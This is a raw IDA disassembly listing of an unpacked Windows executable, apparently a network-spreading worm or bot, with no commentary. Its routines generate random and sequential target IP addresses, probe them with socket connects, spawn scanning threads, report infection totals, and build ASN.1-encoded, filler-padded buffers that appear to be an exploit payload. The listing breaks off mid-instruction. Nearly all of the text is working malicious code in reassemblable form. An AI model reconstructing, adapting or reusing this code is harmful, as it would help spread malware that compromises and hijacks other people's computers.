; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : E5E2BDA518B2EDBE4939E0481CE12FB9 ; File Name : u:\work\e5e2bda518b2edbe4939e0481ce12fb9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00084000 ( 540672.) ; Section size in file : 00084000 ( 540672.) ; Offset to raw data for section: 00001000 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4077FD+373Fp ; DATA XREF: .nsp1:00485040o ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_41A348 push eax xor ebx, ebx call sub_40C6C3 cmp dword_41A068, ebx pop ecx pop ecx mov edi, 200h jz short loc_40106E push esi mov esi, offset dword_41A070 loc_401033: ; CODE XREF: sub_401000+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_40C6C3 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40C5A0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_401033 pop esi loc_40106E: ; CODE XREF: sub_401000+2Bj push dword_481BE8 call sub_40B6FE push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_40C6C3 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_40C5A0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_200] push eax call sub_403145 add esp, 38h pop edi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010CA proc near ; CODE XREF: sub_4077FD+3251p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 7 call sub_40C2A4 test eax, eax pop ecx jle short loc_401106 mov eax, [ebp+arg_C] push dword_422AC0[eax*8] call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_41A38C push eax call sub_40C6C3 add esp, 0Ch jmp short loc_401119 ; --------------------------------------------------------------------------- loc_401106: ; CODE XREF: sub_4010CA+13j lea eax, [ebp+var_200] push offset unk_41A36C push eax call sub_40C6C3 pop ecx pop ecx loc_401119: ; CODE XREF: sub_4010CA+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_404555 lea eax, [ebp+var_200] push eax call sub_403145 add esp, 18h leave retn sub_4010CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401141 proc near ; CODE XREF: sub_401704+4Fp var_20C = dword ptr -20Ch var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh jz loc_4013B5 imul eax, 3Ch xor ebx, ebx cmp dword_41A074[eax], ebx jz loc_4013B5 push 4 call sub_40C2A4 test eax, eax pop ecx jnz loc_4013B5 mov eax, dword_41DE40 push esi push edi mov edi, offset dword_423D9C push 104h push edi push ebx mov dword_423FAC, eax mov dword_423FA8, ebx call dword_41804C ; GetModuleFileNameA push 103h mov esi, offset dword_423EA0 push offset byte_41DF08 push esi call sub_40C720 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_423D98, eax mov eax, [ebp+arg_138] push 7Fh mov dword_424030, eax jnz short loc_4011F1 lea eax, [ebp+arg_10] push eax push offset dword_423FB0 call sub_40C720 mov dword_424034, 1 jmp short loc_401208 ; --------------------------------------------------------------------------- loc_4011F1: ; CODE XREF: sub_401141+94j lea eax, [ebp+arg_90] push eax push offset dword_423FB0 call sub_40C720 mov dword_424034, ebx loc_401208: ; CODE XREF: sub_401141+AEj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_423FAC push offset unk_41A458 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40C062 add esp, 20h mov dword_423FA4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_423D98 push offset sub_40BB81 push ebx push ebx call dword_418048 ; CreateThread mov ecx, dword_423FA4 imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz loc_401307 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_41A420 push eax call sub_40C6C3 add esp, 0Ch loc_401287: ; CODE XREF: sub_401141+1CEj lea eax, [ebp+var_204] push eax call sub_403145 mov edi, offset dword_424044 mov [esp+20Ch+var_20C], 104h push edi push ebx mov dword_424250, ebx call dword_41804C ; GetModuleFileNameA push 103h mov esi, offset dword_424148 push offset byte_41DF08 push esi call sub_40C720 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_424040, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4242D8, eax jnz short loc_401314 lea eax, [ebp+arg_10] push eax push offset dword_424258 call sub_40C720 mov dword_4242DC, 1 jmp short loc_40132B ; --------------------------------------------------------------------------- loc_4012FF: ; CODE XREF: sub_401141+1CCj push 32h call dword_418040 ; Sleep loc_401307: ; CODE XREF: sub_401141+125j cmp dword_424038, ebx jz short loc_4012FF jmp loc_401287 ; --------------------------------------------------------------------------- loc_401314: ; CODE XREF: sub_401141+1A2j lea eax, [ebp+arg_90] push eax push offset dword_424258 call sub_40C720 mov dword_4242DC, ebx loc_40132B: ; CODE XREF: sub_401141+1BCj add esp, 0Ch lea eax, [ebp+var_204] push esi push edi push dword_424254 push offset dword_41A3E0 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40C062 add esp, 20h mov dword_42424C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_424040 push offset sub_403E11 push ebx push ebx call dword_418048 ; CreateThread mov ecx, dword_42424C pop edi imul ecx, 234h cmp eax, ebx pop esi mov dword_42F41C[ecx], eax jnz short loc_4013C0 call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_41A3AC push eax call sub_40C6C3 add esp, 0Ch loc_4013A8: ; CODE XREF: sub_401141+287j lea eax, [ebp+var_204] push eax call sub_403145 pop ecx loc_4013B5: ; CODE XREF: sub_401141+13j ; sub_401141+24j ... pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013B8: ; CODE XREF: sub_401141+285j push 32h call dword_418040 ; Sleep loc_4013C0: ; CODE XREF: sub_401141+24Aj cmp dword_4242E0, ebx jz short loc_4013B8 jmp short loc_4013A8 sub_401141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4013CA proc near ; CODE XREF: sub_40154B:loc_4015A7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:422AC0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call near ptr sub_40C820 add esp, 0Ch push [ebp+arg_0] call dword_42D7BC ; htonl inc eax push eax mov [ebp+arg_0], eax call dword_42D874 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call near ptr sub_40C820 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4013CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401412 proc near ; CODE XREF: sub_40154B+54p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_40CBC0 cmp eax, 0Fh pop ecx jbe short loc_40143A xor eax, eax jmp short loc_4014AB ; --------------------------------------------------------------------------- loc_40143A: ; CODE XREF: sub_401412+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_40CB7D add esp, 18h cmp [ebp+var_C], esi jnz short loc_401467 call sub_40CB5F mov [ebp+var_C], eax loc_401467: ; CODE XREF: sub_401412+4Bj cmp [ebp+var_8], esi jnz short loc_401474 call sub_40CB5F mov [ebp+var_8], eax loc_401474: ; CODE XREF: sub_401412+58j cmp [ebp+var_4], esi jnz short loc_401481 call sub_40CB5F mov [ebp+var_4], eax loc_401481: ; CODE XREF: sub_401412+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40148D call sub_40CB5F loc_40148D: ; CODE XREF: sub_401412+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_422AC0[ecx*8], eax loc_4014AB: ; CODE XREF: sub_401412+26j pop esi leave retn sub_401412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014AE proc near ; CODE XREF: sub_40154B+7Ep ; sub_403CA3+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_42D8F4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4014D7 xor eax, eax jmp short loc_401546 ; --------------------------------------------------------------------------- loc_4014D7: ; CODE XREF: sub_4014AE+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_42D878 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_42D910 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_42D824 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_42D860 ; select push esi mov edi, eax call dword_42D90C ; closesocket xor eax, eax cmp edi, ebx setnle al loc_401546: ; CODE XREF: sub_4014AE+27j pop edi pop esi pop ebx leave retn sub_4014AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40154B proc near ; DATA XREF: sub_401704+13Bo var_2C8 = byte ptr -2C8h var_208 = dword ptr -208h var_204 = byte ptr -204h var_1F4 = byte ptr -1F4h var_174 = byte ptr -174h var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_158 = dword ptr -158h var_154 = dword ptr -154h var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_BC = byte ptr -0BCh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2C8h mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd mov esi, [ebp+var_28] mov dword ptr [eax+148h], 1 mov [ebp+arg_0], esi call dword_41805C ; GetTickCount push eax call sub_40CB55 mov ebx, esi pop ecx imul ebx, 234h jmp loc_4016E1 ; --------------------------------------------------------------------------- loc_401591: ; CODE XREF: sub_40154B+1A4j cmp [ebp+var_C], 0 push eax jz short loc_4015A7 lea eax, [ebp+var_14C] push eax call sub_401412 pop ecx jmp short loc_4015AC ; --------------------------------------------------------------------------- loc_4015A7: ; CODE XREF: sub_40154B+4Bj call sub_4013CA loc_4015AC: ; CODE XREF: sub_40154B+5Aj mov edi, eax pop ecx lea eax, [ebp+var_2C8] push eax lea eax, dword_42F208[ebx] push eax call sub_40C6C3 push [ebp+var_34] push [ebp+var_38] push edi call sub_4014AE add esp, 14h cmp eax, 1 jnz loc_4016D6 cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_40162B mov edi, offset dword_423D80 push edi call dword_418058 ; RtlEnterCriticalSection cmp [ebp+var_10], 0 jnz short loc_40161F cmp [ebp+var_BC], 0 push 1 push [ebp+var_14] lea eax, [ebp+var_2C8] push eax lea eax, [ebp+var_BC] jnz short loc_401613 lea eax, [ebp+var_13C] loc_401613: ; CODE XREF: sub_40154B+C0j push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_40161F: ; CODE XREF: sub_40154B+A5j push edi call dword_418054 ; RtlLeaveCriticalSection jmp loc_4016D6 ; --------------------------------------------------------------------------- loc_40162B: ; CODE XREF: sub_40154B+93j push edi call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_204] push eax call sub_40C6C3 mov eax, [ebp+var_1C] imul eax, 3Ch add eax, offset dword_41A040 push eax lea eax, [ebp+var_174] push eax call sub_40C6C3 add esp, 10h cmp [ebp+var_BC], 0 lea eax, [ebp+var_BC] jnz short loc_40166F lea eax, [ebp+var_13C] loc_40166F: ; CODE XREF: sub_40154B+11Cj push eax lea eax, [ebp+var_1F4] push eax call sub_40C6C3 mov eax, [ebp+var_3C] pop ecx mov [ebp+var_208], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_10] mov [ebp+var_154], eax mov eax, [ebp+var_38] mov [ebp+var_168], eax mov eax, [ebp+var_1C] pop ecx mov [ebp+var_160], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_164], esi lea esi, [ebp+var_208] push 2Fh pop ecx mov edi, esp rep movsd call off_41A06C[eax] mov esi, [ebp+arg_0] add esp, 0BCh loc_4016D6: ; CODE XREF: sub_40154B+89j ; sub_40154B+DBj push 7D0h call dword_418040 ; Sleep loc_4016E1: ; CODE XREF: sub_40154B+41j mov eax, dword_42F40C[ebx] cmp dword_422AC4[eax*8], 0 jnz loc_401591 push esi call sub_40C378 pop ecx push 0 call dword_418050 ; ExitThread sub_40154B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401704 proc near ; DATA XREF: sub_4077FD+1EE3o ; sub_4077FD+3045o var_24C = dword ptr -24Ch var_20C = byte ptr -20Ch var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_14C] inc ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_42D8B4 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_422AC0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_401141 push 7 call sub_40C2A4 add esp, 150h cmp eax, ebx jnz short loc_4017D2 mov esi, offset dword_423D80 push esi call dword_418064 ; RtlDeleteCriticalSection push 80000400h push esi call dword_418060 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_4017D2 lea eax, [ebp+var_20C] push offset unk_41A55C push eax call sub_40C6C3 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_4017BC push ebx lea eax, [ebp+var_20C] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_4017BC: ; CODE XREF: sub_401704+99j lea eax, [ebp+var_20C] push eax call sub_403145 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_4017D2: ; CODE XREF: sub_401704+63j ; sub_401704+7Fj mov eax, [ebp+var_2C] mov esi, dword_418040 mov edi, ebx mov dword_422AC4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_401894 loc_4017F0: ; CODE XREF: sub_401704+18Aj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_20C] push offset unk_41A524 push eax call sub_40C6C3 push ebx lea eax, [ebp+var_20C] push 7 push eax call sub_40C062 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_42F40C[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40154B push ebx push ebx call dword_418048 ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_42F41C[ecx], eax jnz short loc_4018AB call dword_418044 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_20C] push offset unk_41A4E8 push eax call sub_40C6C3 lea eax, [ebp+var_20C] push eax call sub_403145 add esp, 10h loc_401886: ; CODE XREF: sub_401704+1ACj push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_4017F0 loc_401894: ; CODE XREF: sub_401704+E6j cmp [ebp+var_30], ebx jz short loc_4018B9 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep jmp short loc_4018C6 ; --------------------------------------------------------------------------- loc_4018A7: ; CODE XREF: sub_401704+1AAj push 1Eh call esi ; Sleep loc_4018AB: ; CODE XREF: sub_401704+159j cmp [ebp+var_4], ebx jz short loc_4018A7 jmp short loc_401886 ; --------------------------------------------------------------------------- loc_4018B2: ; CODE XREF: sub_401704+1C0j push 7D0h call esi ; Sleep loc_4018B9: ; CODE XREF: sub_401704+193j mov eax, [ebp+var_2C] cmp dword_422AC4[eax*8], 1 jz short loc_4018B2 loc_4018C6: ; CODE XREF: sub_401704+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_422AC0[eax*8] push eax call dword_42D900 ; inet_ntoa push eax lea eax, [ebp+var_20C] push offset unk_41A4A8 push eax call sub_40C6C3 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_401914 push ebx lea eax, [ebp+var_20C] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_404555 add esp, 14h loc_401914: ; CODE XREF: sub_401704+1F1j lea eax, [ebp+var_20C] push eax call sub_403145 mov eax, [ebp+var_2C] mov [esp+24Ch+var_24C], 0BB8h mov dword_422AC4[eax*8], ebx call esi ; Sleep push 7 call sub_40C2A4 cmp eax, 1 pop ecx jnz short loc_40194B push offset dword_423D80 call dword_418064 ; RtlDeleteCriticalSection loc_40194B: ; CODE XREF: sub_401704+23Aj push [ebp+var_2C] call sub_40C378 pop ecx push ebx call dword_418050 ; ExitThread sub_401704 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40195B proc near ; CODE XREF: sub_401BC7+Ep ; sub_401BC7+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40195B endp ; =============== S U B R O U T I N E ======================================= sub_401965 proc near ; CODE XREF: sub_401BC7+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_40CCCF mov edi, eax pop ecx test edi, edi jz short loc_401997 push ebx push 0 push edi call sub_40CC40 push ebx push [esp+1Ch+arg_0] push edi call near ptr sub_40C820 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_401997: ; CODE XREF: sub_401965+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40199F proc near ; CODE XREF: sub_401A91+18p ; sub_401B0B+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_40CCCF mov esi, eax pop ecx test esi, esi jz short loc_4019EB push edi push 0 push esi call sub_40CC40 push [ebp+arg_4] push [ebp+arg_0] push esi call near ptr sub_40C820 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call near ptr sub_40C820 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_4019EB: ; CODE XREF: sub_40199F+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40199F endp ; =============== S U B R O U T I N E ======================================= sub_4019F4 proc near ; CODE XREF: sub_401A91+5Ep ; sub_401A91+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_401A04 push eax call sub_40CD81 pop ecx loc_401A04: ; CODE XREF: sub_4019F4+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_4019F4 endp ; =============== S U B R O U T I N E ======================================= sub_401A0D proc near ; CODE XREF: sub_401A91+20p ; sub_401B6C+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_401A37 xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_40CCCF mov edi, eax pop ecx test edi, edi jnz short loc_401A3B loc_401A37: ; CODE XREF: sub_401A0D+Dj xor al, al jmp short loc_401A8D ; --------------------------------------------------------------------------- loc_401A3B: ; CODE XREF: sub_401A0D+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_40CC40 add esp, 0Ch cmp ebx, 1 jnz short loc_401A5B mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_401A70 ; --------------------------------------------------------------------------- loc_401A5B: ; CODE XREF: sub_401A0D+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_401A70: ; CODE XREF: sub_401A0D+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call near ptr sub_40C820 add esp, 0Ch push dword ptr [esi] call sub_40CD81 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_401A8D: ; CODE XREF: sub_401A0D+2Cj pop edi pop esi pop ebx retn sub_401A0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A91 proc near ; CODE XREF: sub_401BC7+89p ; sub_401BC7+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4242EC call sub_40199F lea ecx, [ebp+var_8] call sub_401A0D mov eax, [ebp+var_4] inc eax push eax call sub_40CCCF mov edi, eax pop ecx test edi, edi jnz short loc_401ACB xor al, al jmp short loc_401B07 ; --------------------------------------------------------------------------- loc_401ACB: ; CODE XREF: sub_401A91+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_40CC40 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call near ptr sub_40C820 add esp, 18h mov ecx, esi call sub_4019F4 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_4019F4 mov al, 1 loc_401B07: ; CODE XREF: sub_401A91+38j pop edi pop esi leave retn sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B0B proc near ; CODE XREF: sub_401B3F+14p ; sub_401B5C+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40199F mov ecx, esi call sub_4019F4 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_401B0B endp ; =============== S U B R O U T I N E ======================================= sub_401B3F proc near ; CODE XREF: sub_401BC7+F0p ; sub_401BC7+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_40CBC0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_401B0B pop esi retn 4 sub_401B3F endp ; =============== S U B R O U T I N E ======================================= sub_401B5C proc near ; CODE XREF: sub_401BA8+Bp ; sub_401BC7+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_401B0B retn 8 sub_401B5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B6C proc near ; CODE XREF: sub_401BA8+16p ; sub_401BC7+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_401A0D test al, al jz short loc_401BA5 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_41A90F+1) call sub_40199F mov ecx, esi call sub_4019F4 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_401BA5: ; CODE XREF: sub_401B6C+Fj pop esi leave retn sub_401B6C endp ; =============== S U B R O U T I N E ======================================= sub_401BA8 proc near ; CODE XREF: sub_401BC7+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_401B5C test al, al jz short loc_401BC3 mov ecx, esi call sub_401B6C loc_401BC3: ; CODE XREF: sub_401BA8+12j pop esi retn 8 sub_401BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BC7 proc near ; CODE XREF: sub_4023B8+88p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40195B mov edi, 408h cmp [ebp+arg_8], edi jg loc_401F0B mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_401F0B push esi lea ecx, [ebp+var_30] call sub_40195B lea ecx, [ebp+var_20] call sub_40195B lea ecx, [ebp+var_50] call sub_40195B lea ecx, [ebp+var_18] call sub_40195B lea ecx, [ebp+var_40] call sub_40195B lea ecx, [ebp+var_38] call sub_40195B lea ecx, [ebp+var_28] call sub_40195B push 4 push offset dword_41A5A4 lea ecx, [ebp+var_30] call sub_401B0B push 3 push offset dword_41A5AC lea ecx, [ebp+var_30] call sub_401B0B lea ecx, [ebp+var_30] call sub_401A91 lea ecx, [ebp+var_30] call sub_401B6C mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_40CC40 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_401B0B push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_401B0B mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_401B0B lea ecx, [ebp+var_20] call sub_401A91 push offset loc_41A938 lea ecx, [ebp+var_50] call sub_401B3F lea ecx, [ebp+var_50] call sub_401A91 push esi lea eax, [ebp+var_858] push 44h push eax call sub_40CC40 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_401965 lea ecx, [ebp+var_58] call sub_401A91 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_401BA8 lea ecx, 